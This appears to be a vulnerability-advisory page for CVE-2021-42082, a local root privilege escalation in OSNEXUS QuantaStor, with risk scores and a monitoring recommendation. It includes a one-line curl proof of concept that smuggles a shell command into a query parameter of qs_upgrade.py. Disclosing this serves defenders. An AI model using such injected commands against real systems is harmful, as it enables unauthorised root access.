CVE-2021-42082
Local Privilege Escalation to root in OSNEXUS QuantaStor before 6.0.0.355
Vexday Risk Score
21Low
SSVC decision (CISA)
Track
No exploitation signal → monitor
CVSS 7.8EPSS 0.2%KEV nãoPoC —Nuclei —Metasploit —Patch —
Lifecycle
10 Jul 2023Published on NVD
Recommendation: Monitor — no exploitation signal at the moment.
Local users are able to execute scripts under root privileges.
POC
On the local host run the following command:
curl 'localhost:8154/qstor/qs_upgrade.py?taskId=1&a=;`whoami`'
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Affected products
OSNEXUS · QuantaStorWant to know if your infrastructure is exposed to this?
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